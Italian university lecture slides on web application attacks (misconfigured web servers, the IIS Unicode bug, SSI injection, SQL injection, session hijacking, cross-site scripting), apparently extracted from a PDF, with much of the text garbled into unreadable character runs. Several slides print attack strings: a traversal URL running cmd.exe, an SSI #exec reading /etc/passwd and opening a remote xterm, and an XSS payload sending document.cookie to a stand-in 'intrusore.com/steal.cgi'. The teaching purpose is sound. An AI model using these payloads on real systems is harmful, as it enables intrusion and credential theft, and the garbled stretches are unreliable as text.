�%� ��	����*	�	��������	���	�	��	�B������	�8��&��	������:�&���$�������

���$�	����	����� ����������������������� ����	�����	*�	&&���	����(
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• Le architetture di rete moderne sono diventate piu’ robuste
e sicure;

• I firewall sono utillizzati nella maggioranza delle
organizzazioni;

• I produttori di sistemi operativi e servizi di rete rilasciano
patch in modo estremamente tempestivo;

• Aumento della sensibilita’ nei confronti dei problemi di
sicurezza.

Tecniche di Intrusione “ Tradizionali” : LIMITAZIONI
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Tecniche di Intrusione “ Tradizionali” : LIMITAZIONI (cont.)

Web
Server DB

DB

Web app

Web app

Web app

Web app

Sun RPC

NT ipc$

wu-ftpd
����

����

����

���� ���������	���	����������&��	������������$���������������������&���&� *

�����	����	��+����	��
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Tecniche di Intrusione “ Tradizionali” : LIMITAZIONI (cont.)

Web
Server DB

DB

Web app

Web app

Web app

Web app

����

����������%����������������	&&���	$�������������&���&� *��&��������������	

�����������������	�	�����4 ������������$$��������	������#81(
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• Il traffico Web (http) e’ abilitato comunemente ad
attraversare tutti i firewall;

• La porta http (80) e’ sempre aperta, perche’ tentare attacchi
su altre piu’ protette?

• HTTP viene solitamente percepito come traffico innocuo;
• Attacchi mirati alle applicazioni Web ed al contenuto dei

pacchetti in transito sono ancora percepiti come rari.

Tecniche di Intrusione di Nuova Generazione
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Web Hacking

Web
Server DB

DB

Web app

Web
Client Web app

Web app

Web app

Errata
configurazione
del web server

Errata
validazione
dei dati di
input dei Web
client

Errata
gestione
delle
query SQL

Manipolazione e
accesso ai
cookie HTTP

8 ����������&�������������������� �	�	&&���	$�����' ������������������

	��	��%�������� �����0

�7
����#D�7�:��2�:�8�':;�E��:9F:9�':;�0��	����������	����

�������4&����������	&�������1��������+� ��	�	�&���	��	��%�������&���������

%�G	������	���������	&&���	����3

':;��:9F:9�0����	������+�� �	$�������	�����������������%�)�����&�	�� ���)

���������� ���4&	�����%���)�������G	�	�����&�)����������	�B�	�%)����(1�����

��������������� �����������&����������������������3

#��2��#D�7���':;�0����������&�	�� ��������	��	���	$����������	���+���������

��& ���	�������������4 �������������1�&�����	���� ++�������+���)��+� ��	��

� ����	�����	*���&���	���	��	����&���������������������3

�#8#;#�:�0����	�	�	��)��	�������������	&&���	$�����' ���&����	���������

�����	����++������&������&&��� ���	*�������� ������	��	 �	���� �	������������	

��������(�8	������� �����)��	�	��	��	� �	��������&�����������, 	���&������

��������	���� ����	�����������& �*�	����������� ��$�����������	���	���	*�4��(


��������	������	�������	��	���, 	���������������	��������������)��	���&�����	��

�����������������������+��������)����(1
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Permette l’accesso, ad esempio, a codice sorgente di script
associati a pagine.
Esempi di alcune directory critiche che possono essere
accedute in lettura a causa dell’errata configurazione del web
server:

• /servlet/file/
• /file/
• /*.shtml/
• /ConsoleHelp/

• /servlet/com.sun.server.http.servlet.FileServlet/

Erronea Configurazione Web Server
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Esempio: UNICODE BUG

Unicode: codifica standard per i set di caratteri nelle
diverse lingue.

Febbraio 2001, messaggio anonimo su di un forum: …e’
possibile eseguire qualunque comando su IIS 5 (Win 2000)
usando la URL
ht t p: / / url_del_dominio/ scr i pt s/ . . %c1%1c. . /

wi nnt / syst em32/ cmd. exe?/ c+di r +c: /

…

I primi test hanno mostrato che solo alcuni server non USA
erano effettivamente vulnerabili.

#���������&���������	�	����+�� �	$�����4�����+	 ��1���� ��������������%��%	

, ���	�����	��	 �	����*���� $����������	�������	���(
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Esempio: UNICODE BUG (seguito)

La stringa risulta essere equivalente a:

ht t p: / / url_del_dominio/ scr i pt s/ . . / . . /
wi nnt / syst em32/ cmd. exe?/ c+di r +c: /

Il risultato e’ l’esecuzione remota di cmd.exe, l’intrusione si
effettua con il semplice invio di una URL.

Microsoft ha rilasciato una patch in tempi rapidissimi, in
considerazione della gravita’ della vulnerabilita’.

���������������%	��������+��	����%���������	�����H��H	+���H�"HC���	�� ����	�����	*��������+��	�	

	��%��� ��������������������	�	��������#)���	�&�������<��%������/(

��� ���	����)�H��H	+���H�"HC�)������ �	��	&&������	$����������	�	������5I6���5J6���+���	��

����7�:�4+���	�����	��	���&����	��	&&������	$����������	�	������������������������ �1(

2	�������	�I����&��I((I((I�����I�!����-�I���(�K�?I�L���L�0I�������, ����������&���	�	�����0

M��������!�I����&��I�����	���������!������+	 ���������

MF	��	��	�((I�)��%�������&���	�����������	�������	���	��	���������!�&	��������	����������4����&��I1(

�����*�++��������& ��	���	��	���������!������+	 ���������3

MF	��	����	�	��	�((I�)����	���� ��	������	��	���������!�&	�����%���������������	��	$������*��	��	����

����+�����!����3

MF	�����' ����3

MF	������!����-�

M:��� �����(�K��������&	�	�������&���+��	��(

������ ��	����*��	�+������	����	�������' ������)������	���������������������#��������	����(

2	���, ��$	���������5I6�����+��	������+���	�������7�:�& �*��������	 ����	�	�+����	�����	��

, ���	���	��	�&����	��� ������' ����I
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•  Permette l’accesso a file critici, esecuzione di 
comandi, buffer overflow, etc.

•  I tag html detti SSI (Server Side Includes) 
permettono di eseguire comandi sul web server 
attraverso la notazione #exec.

Esempio: CGI script di esempio presenti di default  (molti i
casi documentati)

Erronea Validazione Dati di Input



���������	
����
��	�����������������	 �������������

��
	����������������������������	���������������� ���! "A

© Marco Cremonini 18

• Script presente spesso
come esempio
esplicativo ed utilizzato
in sistemi di
produzione;

• Permette di inserire tag
SSI nel campo
commenti

Esempio: guestbook.pl

cat  / et c/ passwd;  
xt er m &
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guestbook.pl
addguest

.html

guestbook
.html

mod_ssi

<!--#exec cmd=“cat /etc/passwd;
/usr/X11/bin/xterm -display
10.1.1.14:0.0”

passwd
xterm

I file html vengono analizzati da un 
modulo del web server (mod_ssi) 
attraverso il quale il tag SSI #exec
esegue il comando che restituisce al 
client Web il f ile delle password

Esempio: guestbook.pl (cont.)

WEB SERVER
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Web
Server

html
handler

jsp
handler

cgi
handler

Esempio: Handler

• Handler: componente del web
server che gestisce una
specifica tipologia di richiesta
(es. accesso a pagine html,
invocazione di script cgi o di
pagine dinamiche jsp).

• Un handler non ben
configurato puo’ consentire ad
un client Web di forzare una
azione illeggittima e non
conforme alle specifiche

ht t p: / / 10. 0. 0. 2/ ser v l et / com.
sun. ser ver . ht t p. pagecompi l e.
j sp. r unt i me.

JspSer vl et / pat h/ t o/ f i l e. ht ml

���%	�������*� �����&�����������������������%�����������������	������������

 �	��&���+��	���&�����	�������%����	(�:��������������%	������	�����	���	���

���&�������4��� ��1��%��&������	��������++������������	$����(

���%	�����������������+�� �	���������������	��$$	���& �*��������+��$	���	

&������	�����&������	�������&�������(

�������&������ ����	�����������&���	������B�� �	)������ ��%	������&����	

�����	$��������&	��������	���%��N	�	�4N��1�������+��$	���	�&������	��� ��+���

%���(

2*�++�����& �*���� ��	�������	����&��	$���������������������� �������	�&	���	

%����������	�� �������	����� $����(

����+��	�����&&��� �	��������������� �������	�&	���	�%����, �����& �*

&���	���	�+��$	����*���� $�����������	����� ���������������	�� �	�� 	

������ ��������&����������(
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•Valori di input inseriti da client Web e utilizzati come
parametri per formare query SQL possono essere utilizzati per
condurre intrusioni;

•Una errata validazione dei dati di input ricevuti da un web
server, combinata con un inefficiente  controllo delle query
SQL eseguite sui database di back-end puo’ consentire
manipolazioni del database stesso

Erronea Validazione Dati Input & Gestione Query SQL



���������	
����
��	�����������������	 �������������

��
	����������������������������	���������������� ���! ��

© Marco Cremonini 22

Esempio: SQL Injection

sql  = " sel ect  *  f r om user s wher e user name = ' "  + 
user name + " '  and passwor d = ' "  + passwor d + " ' " ;  

Da 'process_login.asp', che processa username e password 
per il login degli utenti: 

�� Una�opportuna�configurazione�del�solo�valore�per�lo�Username
digitato�in�input�da�un�client�Web�ha�causato�intrusioni�gravi�e
manipolazioni�del�database�di�back-end;

�� Esistono�molti�altri�casi�di�vulnerabilita’�relative�ad�accessi�illeciti
a�database�provocati�dalla�semplice�mancata�validazione�dei
valori�di�input.

����* �������������	������ �����&	�	�����0

�����	��0�
3����&��	���� ������

�	������0

�	���	����	�
 ����*�& ����	���������	�����	�	)���&��������*	������

	��*	&&���	$�����	�� ���������������� �����(

���	�	������O��*���	���������	���&�����&�������%���������������	��� ��������)���

O3*�&�������	����	�O���&��	���� ����*���+	��	���������������������	���(

. �����&������	����*� ������&������������&��������� ����	�����	*������� �	

��� �	�&����� �	�����������������&	�	���������	 ������	$������%��& �*

���� ����	��	$�������	���� ���	�	�	�������	������(

:*�+	���������������������)��%�	�	�����(


�����	������	�������.2���G������)��������������&� *����&�����)��������	��

�� ��	���������������4����%�*� ����$$	���&������&��������� $����1(

9�+���������&� *����&�����������	��	���������&�������)�	������&���� 0

%��&0II���(��K������(���I����	��%I&	&���(%���
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•� La�complessita’�di�alcune�architetture�Web�
possono�facilmente�nascondere�errate�
configurazioni�o�implementazioni;

•� Errato�controllo�e�validazione�delle�URL;

•� La�combinazione�tra�i�diversi�Web�server�e�i�
differenti�sistemi�operativi�puo’�presentare�
vulnerabilita’.

Principali�Cause�di�Compromissione�di�Web�Server
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•� Codice�non�correttamente�testato;

•� Scarsa�familiarita’�con�le�problematiche�di�
sicurezza�da�parte�degli�sviluppatori�di�
applicazioni�web;

•� Time-to-market�stringenti�per�esigenze�
commerciali.

Principali�Cause�di�Compromissione�di�Web�Server�(cont.)
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•� Il�protocollo�HTTP�non�definisce�uno�stato�della
sessione�tra�client�e�server�Web;

•� Realizzati�meccanismi�applicativi�per�simulare�
il�concetto�di�stato�attraverso�la�creazione�e�lo�
scambio�di�un�identificatore�univoco
(session�ID).

MECCANISMI
•� URL�con�session�ID;
•� Campi�Nascosti�con�session�ID;
•� Cookie.

HIJACKING�di�Sessione�Applicativa�HTTP
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http://www.nome_sito1.com/view/7AD30725122120803

http://www.nome_sito2.org/r?iid=JKLHISUHSHSIJKSO

URL�con�session�ID

Il�valore�del�session�ID�viene�scambiato�tra�client�e
server�per�tutta�la�durata�della�interazione�appendendolo
al�valore�delle�varie�URL.
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<FORM�METHOD=POST�ACTION=“/cgi-bin/auth.cgi”>
<input�type=“hidden”�name=“sessionID”�value=“15w02LK”>
<input�type=“hidden”�name=“useraccount”�value=“184283”>
<input�type=“hidden”�name=“Access�Account”>
</FORM>

Campi�Nascosti�con�session�ID

Il�valore�del�session�ID,�ed�eventualmente�altri�parametri
critici,��vengono�inseriti�come�campi�nascosti
(type=“hidden”)�nelle�pagine�html�e�passati�come
parametri�agli�script�associati�alle�azioni�richieste.
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COOKIE

Usato�per�simulare�lo�stato�di�una�sessione�http.

www. r edhat . com� FALSE� / � FALSE� 1154029490�

Apache� 64. 3. 40. 151. 16018996349247480

Scambiati�tra�client�e�server,�spesso�attraverso
comunicazioni�NON�protette;

Contengono�sempre�almeno�un�IDENTIFICATORE�della
sessione�del�particolare�utente;

Possono�servire�per:

� informazioni�commerciali
(pagine�visitate,�prodotti�cercati,�preferenze,�etc.)

� autenticazione�senza�ripetere�il�login

����&�����	�������� �������������0
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���70�4������%	�(���1��������������%��%	����	����������������%��& �*�������������	����3
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��2�0�4B#2�:1�+�	�������	����������������%����	� �	������������������	�	�����&������������2�&��

�����	���������������3

��#�:�D#�0�4""</��C/C�1��	�	������	���$	�����	�����	*�����������(�:�&���������O���K�����*

4� ����������������	�&	�������	������0��0���P
8�����"I"I"C@�1(�����	�������&���	����������&��

������&�����	���@I@I���=(�����	��	� �	��	�	������	���$	������������������	�����	���	��	��%� � �	

�����������3

�7
:�F#9�#;�2:�0�4#&	�%�1����������	��	��	������%������������*������+��	���������	

��������3

F#279:�0�4=/(-(/�("<"("=�"ACQ 1�F	���������	��	��	����(

���������	���� �����������	���	���� �	���� �	���� ���	$����������	�	�������*������+��	�������

��������)� ������ �����& �*���&�����	��� �� ������4	������&������ �������$����������������1(

���	�� ����	���& �*����	�	�����+���	$�����&�����������)�������$$	�������������(
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i nt r usor e

ser vercl i ent

1)�Login�con�sessione�protetta�(SSL)

Se�il�cookie�viene
intercettato�o
copiato�e�la
sessione�non�e’
protetta

Si�identifica�come�il
client�SENZA�il
login

2)�Invio�cookie�con�ID

3)�Operazioni,�scambio�del�cookie

����	����������	&&���	���	�%��&�������&������	������	��*	������������������&�

�������	���� ��������	���	���	��������	��������������������&�������)�, ����

& �*��	��� ����	�&������������������(

2*���� ������%����	������	���������������	������������)�	������&������� ��

���++��)�& �*� �	����������	������	���������4
	������%��
�����1���+	�������

��������������������������)��:�D#�	������&�� ����	�+	�����������(

��������� �	0�� ��	��	����������	&&���	���	��	�	�	�� ��*	 ������	$��������$�	��

������������&������	)�����������*�&��	$�������������(

�	���	&&���	���������:���7��>�N#�R��P(

2�����0��������	*�������	����������)��&���$$	���������++���������	��������	�����

��� �����	����	���������&���������	*������	��$$	$�������� ��	��	���(

#������������������� ����$$	���&���%�*�&� *�+	�����������	��$$	�������

	������	�����++��	��(
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i nt r usor e

ser vercl i ent

Il�cookie�viene�copiato�dal
computer�del�proprietario

Si�identifica�come�il
client�SENZA�il�login

Esempio�di�caso�reale:�Microsoft�Hotmail�(26�Aprile�2002).

ht t p: / / www. wi r ed. com/ news/ pr i nt / 0, 1294, 52115, 00. ht ml
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i nt r usor e

ser vercl i ent

Il�session�ID�del�cookie�viene
predetto�dall’intrusore

Si�identifica�come�il
client�SENZA�il�login

Esempi�di�casi�reali:�Greetings.com,�Freeservers.com

ht t p: / / www. i def ense. com ( Whi t e Paper :  “ Br ut e- For ce
Expl oi t at i on of  Web Appl i cat i on Sessi on I D” )

2	�&����$������������������������������)�����	����	������ ����	�	���	�	

, 	����������&��������, ������ ���������&	��%�������)���&������	����	�����

�	� 	���	*����������	���������	����	����(

�	�����	���	�	��$$	���������������������� ���������	��������	����������������

�	�����	�&��������)�����	� �������	����	�������	���������&����)�&��������	��

����������(

��������	$���������� ����	�	���%���	������&���������	������	�����	�����	�

������� ����$$	���&�����+������ �����	������ �	����������' ���0
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CROSS-SITE�SCRIPTING�(XSS)

CERT�Advisory�CA-2000-02

Malicious�HTML�Tag�Embedded�in�Client�Web�Requests

www. cer t . or g/ advi sor i es/ CA- 2000- 02. ht ml

XSS�non�e’�un�attacco�ad�un�server�Web,�ma�agli
UTENTI�delle�vostre�applicazioni�Web

Conseguenze
•� Impersonificazione;
•� Web�Session�Hijacking;
•� Reputazione�aziendale�a�rischio.

���	����%���*	�����������:98)�& �����	�����������)���&���	� �	����	��%������

�%���	�����&�����	����	��	����������	�	����	���	�	������	�	�������� ���	�����	��)

	��%�����������������	�	��	�&����������	*)���������	���	��%���*	���������� ����

���' �������������&��������4��, �����&����$�	���������&�����	�����+��%�

������&	��������1(

. ����)�	���������� ��	�����������	�$	)� ���	������	��	������������4������

��������+��	�������	�&�	���	1��*�������	��� �������&� *�+��, ���������++ ��(
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CROSS-SITE�SCRIPTING�(XSS)

Due�tipologie�principali:

•� Script�mascherato�il�una�URL
ht t p: / / www. badapp. com/ er r or . j sp?

msg=<SCRI PT>al er t ( “ Test ” ) ; </ SCRI PT>

M� Script�inserito�in�una�porzione�di�pagina�del�sito�web
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CROSS-SITE�SCRIPTING:�Esempi

ht t p: / / www. mi cr osof t . com/ educat i on/ ?I D=MCTN&t ar get =ht t p: / / www. mi cr osof t
. com/ educat i on/ ?I D=MCTN&t ar get =" ><scr i pt >al er t ( document . cooki e) </ scr i pt
>

ht t p: / / www. shopnbc. com/ l i s t i ng. asp?qu=<scr i pt >al er t ( document . cooki e) </ s
cr i pt >&f r ompage=4&page=1&ct =VVTV&mh=0&sh=0&RN=1

ht t p: / / www. or acl e. co. j p/ mt s_sem_owa/ MTS_SEM/ i m_sear ch_exe?sear ch_t ext =%
22%3E%3Cscr i pt %3Eal er t %28document . cooki e%29%3C%2Fscr i pt %3E

ht t p: / / hot wi r ed. l ycos. com/ webmonkey/ 00/ 18/ i ndex3a_page2. ht ml ?t w=<scr i pt
>al er t ( ‘ Test ’ ) ; </ scr i pt >

:���&����	�����	0

�	����:�����)�58%��:��� ������+����������������&�����#��	���6)���:B:��:

���()����
	���������(

>��&0II���(���+����(���



���������	
����
��	�����������������	 �������������

��
	����������������������������	���������������� ���! -<

©�Marco�Cremonini 35

CONSEGUENZE:�poiche’�lo�script�viene�eseguito�dal
browser�dell’utente,�tale�script�puo’�avere�accesso�a
informazioni�proprietarie,�pagine�visitate,�documenti.

Se�l’utente�e’�dietro�ad�un�firewall,�l’esecuzione�dello�script
bypassa�la�protezione�perimetrale.

Ancora,�il�caso�di�cross-site�scripting�puo’�modificare�il
contenuto�di�form�o�accedere�a�form�che�l’utente�completa
in�altre�finestre�e�relative�ad�altri�siti�(es.�E-commerce).

Tutte�le�informazioni�raccolte�possono�poi�essere�trasmesse
all’esterno.
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CROSS-SITE�SCRIPTING:�Cookie

http://www.idefense.com

<ht ml >

<head>

<t i t l e>� Si t o� da� non� per der e! ! ! </ t i t l e>

</ head>

<a
hr ef =“ ht t p: / / ur l _si t o_l egi t t i mo/ i ndex3a_page
2. ht ml ?t w=<scr i pt >document . l ocat i on. r epl ace
( ‘ ht t p: / / i nt r usor e. com/ st eal . cgi ?’ +document .
cooki e) ; <scr i pt >” >Leggi � quest a� st or i a! ! ! ! !
</ a>

</ body>� </ ht ml >

2*���� $���������	�� ����	�����	*�����	����������������&����)���� 	��	��	

�����	$������������������*%�G	������������������	&&���	����(

. �����������	�� ������&���%��	���	���������&��������������(
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Cliccando�sul�link�contenuto�nella�pagina�mostrata,�il
client�viene�reindirizzato�alla�URL:

ht t p: / / i nt r usor e. com/ st eal . cgi ?l ubi d=010000
000F81038857999000000008938338; %20p_uni qi d=
8s4748F93K75748349

Ovvero,�viene�eseguito�lo�script�CGI�st eal . cgi ,�sul�server�
i nt r usor e. com�e�con�i�valori�del�cookie�che�il�sito�legittimo�
aveva�inviato�alla�vittima:
�
lubid=010000000F81038857999000000008938338
p_uniqid=8s4748F93K75748349
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Lo�script�CGI,�puo’:

� salvare�i�valori�del�cookie�ed�avvertire�l’intrusore
(es.�Email�automatica);

Problema:�l’intrusore�deve�agire�
tempestivamente,�prima�che�la�vittima�concluda� la
sessione�che�ha�aperto�con�un�Web�Server�e� della
quale�il�cookie�mantiene�lo�stato;

� automatizzare�l’hijacking�della�sessione.
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Attaccante
Server�con�gli
script�illeciti

Vittima
Utente�di�applicazione

web

Applicazione�Web
ebusiness,�account
personali,�accesso�riservato,
...

Attacco�XSS
propagato�via�email�o
inserito�in�pagina�Web

Web�Session
Hijacking
manuale�o�automatizzato,
con�cookie�della�vittima

1

2 3

4
Scambio�del�cookie
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SOLUZIONI:�soluzioni�complete�per�gli�utenti�non�esistono.
Esistono�precauzioni�che�possono�essere�adottate:

Disabilitare�nel�browser�l’esecuzione�di�script�(impedisce
funzionalita’�di�molti�siti�web)

Accettare�l’esecuzione�di�script�in�modo�selettivo�(siti
reputati�come�fidati)

Controllare�l’effettiva�URL�richiamata�da�ogni�link�o�digitare
manualmente�l’URL�invece�di�cliccare�su�di�un�link



���������	
����
��	�����������������	 �������������

��
	����������������������������	���������������� ���! /"

©�Marco�Cremonini 41

CONCLUSIONE:

Oggi�la�grandissima�maggioranza�di�intrusioni�e’�causata
da�vulnerabilita’�APPLICATIVE,�non�da�attacchi�che
sfruttano�dettagli�delle�specifiche�del�TCP/IP�(es.�TCP
session�hijacking,�frammentazione,�etc.)

Oggi�di�solito�non�occorre�progettare�un�attacco
estremamente�complesso�(es.�Mitnik),�perche’�esistono
modi�molto�piu’�semplici�di�compromettere�i�sistemi:

� le�vulnerabilita’�applicative

� gli�script�che�ne�automatizzano�gli�attacchi

Intrusione:�occorre�UNA�vulnerabilita’�esposta;

Sicurezza:�TUTTE�le�vulnerabilita’�devono�essere
coperte.
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